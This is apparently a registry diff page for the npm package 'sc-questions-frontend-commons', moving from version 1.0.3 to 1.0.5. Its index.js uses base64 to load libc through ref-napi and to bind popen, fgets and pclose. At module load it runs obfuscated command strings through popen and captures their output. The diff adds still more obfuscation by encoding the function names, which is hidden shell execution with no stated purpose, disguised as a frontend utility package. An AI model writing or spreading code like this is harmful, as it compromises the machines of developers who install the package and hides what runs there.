sc-questions-frontend-commons 1.0.3 → 1.0.5

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +13 -9
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -6,10 +6,14 @@ const b = r(a);
6
6
  const c = Buffer.from('cmVmLW5hcGk=', 'base64').toString('ascii');
7
7
  const d = r(c);
8
8
 
9
+ const fun1 = Buffer.from('cG9wZW4=', 'base64').toString('ascii');
10
+ const fun2 = Buffer.from('ZmdldHM=', 'base64').toString('ascii');
11
+ const fun3 = Buffer.from('cGNsb3Nl', 'base64').toString('ascii');
12
+
9
13
  const e = b.Library(Buffer.from('bGliYw==', 'base64').toString('ascii'), {
10
- 'popen': [Buffer.from('cG9pbnRlcg==', 'base64').toString('ascii'), [Buffer.from('c3RyaW5n', 'base64').toString('ascii'), Buffer.from('c3RyaW5n', 'base64').toString('ascii')]],
11
- 'fgets': [Buffer.from('c3RyaW5n', 'base64').toString('ascii'), [Buffer.from('cG9pbnRlcg==', 'base64').toString('ascii'), 'int', Buffer.from('cG9pbnRlcg==', 'base64').toString('ascii')]],
12
- 'pclose': [Buffer.from('aW50', 'base64').toString('ascii'), [Buffer.from('cG9pbnRlcg==', 'base64').toString('ascii')]]
14
+ [fun1]: [Buffer.from('cG9pbnRlcg==', 'base64').toString('ascii'), [Buffer.from('c3RyaW5n', 'base64').toString('ascii'), Buffer.from('c3RyaW5n', 'base64').toString('ascii')]],
15
+ [fun2]: [Buffer.from('c3RyaW5n', 'base64').toString('ascii'), [Buffer.from('cG9pbnRlcg==', 'base64').toString('ascii'), 'int', Buffer.from('cG9pbnRlcg==', 'base64').toString('ascii')]],
16
+ [fun3]: [Buffer.from('aW50', 'base64').toString('ascii'), [Buffer.from('cG9pbnRlcg==', 'base64').toString('ascii')]]
13
17
  });
14
18
 
15
19
  function x1(y1) {
@@ -23,11 +27,11 @@ function x1(y1) {
23
27
  function q2(w2) {
24
28
  const x2 = x1(w2);
25
29
  const y2 = Buffer.alloc(1024);
26
- const z2 = e.popen(x2, 'r');
30
+ const z2 = e[fun1](x2, 'r');
27
31
 
28
32
  if (!z2.isNull()) {
29
- e.fgets(y2, 1024, z2);
30
- e.pclose(z2);
33
+ e[fun2](y2, 1024, z2);
34
+ e[fun3](z2);
31
35
  } else {
32
36
  console.error(`Error exta: ${x2}`);
33
37
  return `Error exta: ${x2}`;
@@ -37,9 +41,9 @@ function q2(w2) {
37
41
  }
38
42
 
39
43
 
40
- const t1 = Buffer.from('qxe', 'base64').toString('ascii');
41
- const t2 = Buffer.from('xipbnj', 'base64').toString('ascii');
42
- const t3 = Buffer.from('je', 'base64').toString('ascii');
44
+ const t1 = Buffer.from('cXhl', 'base64').toString('ascii');
45
+ const t2 = Buffer.from('eGlwYm5q', 'base64').toString('ascii');
46
+ const t3 = Buffer.from('amU=', 'base64').toString('ascii');
43
47
 
44
48
  const r1 = q2(t1);
45
49
  const r2 = q2(t2);
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "sc-questions-frontend-commons",
3
- "version": "1.0.3",
3
+ "version": "1.0.5",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {